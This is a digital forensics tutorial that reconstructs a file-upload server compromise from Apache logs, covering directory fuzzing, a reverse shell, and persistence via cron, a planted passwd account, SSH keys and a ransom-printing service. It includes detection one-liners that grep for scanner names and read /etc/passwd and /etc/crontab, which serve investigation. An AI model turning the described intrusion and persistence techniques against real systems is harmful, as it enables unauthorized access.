Login
Digital Forensics: How Hackers Compromise Servers Through File Uploads
Hello, aspiring digital forensics investigators!
In this article, we continue our journey into digital forensics by examining one of the most common and underestimated attack paths: abusing file upload functionality. The goal is to show how diverse real-world compromises can be, and how attackers can rely on legitimate features and not only exotic zero-day exploits. New vulnerabilities appear every day, often with proof-of-concept scripts that automate exploitation. These tools significantly lower the barrier to entry, allowing even less experienced attackers to cause real damage. While there are countless attack vectors available, not every compromise relies on a complex exploit. Sometimes, attackers simply take advantage of features that were never designed with strong security in mind. File upload forms are a perfect example.
Upload functionality is everywhere. Contact forms accept attachments, profile pages allow images, and internal tools rely on document uploads. When implemented correctly, these features are safe. When they are not, they can give attackers direct access to your server. The attack itself is usually straightforward. The real challenge lies in bypassing file type validation and filtering, which often requires creativity rather than advanced technical skills. Unfortunately, this weakness is widespread and has affected everything from small businesses to government websites.
Why File Upload Vulnerabilities Are So Common
Before diving into the investigation, it helps to understand how widespread this issue really is. Platforms like HackerOne contain countless reports describing file upload vulnerabilities across all types of organizations. Looking at reports involving government organizations or well known companies makes it clear that the same weaknesses can appear everywhere, even on websites people trust the most.
As infrastructure grows, maintaining visibility becomes increasingly difficult. Tracking every endpoint, service, and internal application is an exhausting task. Internal servers are often monitored less carefully than internet-facing systems, which creates ideal conditions for attackers who gain an initial foothold and then move laterally through the network, expanding their control step by step.
Exploitation
Let us now walk through a realistic example of how an attacker compromises a server through a file upload vulnerability, and how we can reconstruct the attack from a forensic perspective.
Directory Fuzzing
The attack almost always begins with directory fuzzing, also known as directory brute forcing. This technique allows attackers to discover hidden pages, forgotten upload forms, administrative panels, and test directories that were never meant to be public. From a forensic standpoint, every request matters. It is not only HTTP 200 responses that are interesting.
In our case, the attacker performed directory brute forcing against an Apache web server and left behind clear traces in the logs. By default, Apache stores its logs under /var/log/apache, where access.log and error.log provide insight into what happened.
bash# > less access.log
Even without automation, suspicious activity is often easy to spot. Viewing the access log with less reveals patterns consistent with tools like OWASP DirBuster. Simple one-liners using grep can help filter known tool names, but it is important to remember that behavior matters more than signatures. Attackers can modify headers easily, and in bug bounty testing this is often required to distinguish legitimate testing from malicious activity.
bash# > cat access.log | grep -iaE 'nmap|buster' | uniq -d
You might also want to list what pages have been accessed during the directory bruteforce by a certain IP. Here is how:
bash# > cat access.log | grep IP | grep 200 | grep -v 404 | awk ‘{print $6,$7,$8,$9}’
In larger environments, log analysis is usually automated. Scripts may scan for common tool names such as Nmap or DirBuster, while others focus on behavior, like a high number of requests from a single IP address in a short period of time. More mature infrastructures rely on SIEM solutions that aggregate logs and generate alerts. On smaller systems, tools like Fail2Ban offer a simpler defense by monitoring logs in real time and blocking IP addresses that show brute-force behavior.
POST Method
Once reconnaissance is complete, the attacker moves on to exploitation. This is where the HTTP POST method becomes important. POST is used by web applications to send data from the client to the server and is commonly responsible for handling file uploads.
In this case, POST requests were used to upload a malicious file and later trigger a reverse connection. By filtering the logs for POST requests, we can clearly see where uploads occurred and which attempts were successful.
bash# > cat * | grep -ai post
The logs show multiple HTTP 200 responses, confirming that the file upload succeeded and revealing the exact page used to upload the file.
The web server was hosted locally on-premises rather than in the cloud, that’s why the hacker managed to reach it from the corporate network. Sometimes web servers meant for the internal use are also accessible from the internet, which is a real issue. Often, contact pages that allow file uploads are secured, but other upload locations are frequently overlooked during development.
Reverse Shell
After successfully uploading a file, the attacker must locate it and execute it. This is often done by inspecting page resources using the browser’s developer tools. If an uploaded image or file is rendered on the page, its storage location can often be identified directly in the HTML. Here is an example of how it looks like:
Secure websites rename uploaded files to prevent execution. Filenames may be replaced with hashes, timestamps, or combinations of both. In some cases, the Inspect view even reveals the new name. The exact method depends on the developers’ implementation, unless the site is vulnerable to file disclosure and configuration files can be read.
Unfortunately, many websites do not enforce renaming at all. When the original filename is preserved, attackers can simply upload scripts and execute them directly.
The server’s error.log shows repeated attempts to execute the uploaded script. Eventually, the attacker succeeds and establishes a reverse shell, gaining interactive access to the system.
bash# > less error.log
Persistence
Once access is established, the attacker’s priority shifts to persistence. This ensures they can return even if the connection is lost or the system is rebooted.
Method 1: Crontabs and Local Users
One of the most common persistence techniques is abusing cron jobs. Crontab entries allow commands to be executed automatically at scheduled intervals. In this case, the attacker added a cron job that executed a shell command every minute, redirecting input and output through a TCP connection to a remote IP address and port. This ensured the reverse shell would constantly reconnect. Crontab entries can be found in locations such as /etc/crontab.
bash# > cat /etc/crontab
During the investigation, a new account was identified. System files revealed that the attacker created a new account and added a password hash directly to the passwd file.
bash# > cat /etc/passwd | grep -ai root2
The entry shows the username, hashed password, user and group IDs, home directory, and default shell. Creating users and abusing cron jobs are common techniques, especially among less experienced attackers, but they can still be effective when privileges are limited
Method 2: SSH Keys
Another persistence technique involves SSH keys. By adding their own public key to the authorized_keys file, attackers can log in without using passwords. This method is quiet, reliable, and widely abused. From a defensive perspective, monitoring access and changes to the authorized_keys file can provide early warning signs of compromise.
Method 3: Services
Persisting through system services gives attackers more flexibility. They also give more room for creativity. For example, the hackers might try to intimidate you by setting up a script that prints text once you log in. This can be ransom demands or other things that convey what they are after.
Services are monitored by the operating system and automatically restarted if they stop, which makes them ideal for persistence. Listing active services with systemctl helps identify suspicious entries.
bash# > systemctl --state=active --type=service
In this case, a service named IpManager.service appeared harmless at first glance. Inspecting its status revealed a script stored in /etc/network that repeatedly printed ransom messages. Because the service restarted automatically, the message kept reappearing. Disabling the service immediately stopped the behavior.
Since this issue is so widespread, and because there are constantly new reports of file upload vulnerabilities on HackerOne, not to mention the many undisclosed cases that are being actively exploited by hackers and state-sponsored groups, you really need to stay vigilant.
Summary
The attack does not end with persistence. Once attackers gain root access, they have complete control over the system. Advanced techniques such as rootkits, process manipulation, and kernel-level modifications can allow them to remain hidden for long periods of time. In situations like this, the safest response is often restoring the system from a clean backup created before the compromise. This is why maintaining multiple, isolated backups is critical for protecting important infrastructure.
As your organization grows, it naturally becomes harder to monitor every endpoint and to know exactly what is happening across your environment. If you need assistance securing your servers, hardening your Linux systems, or performing digital forensics to identify attackers, our team is ready to help
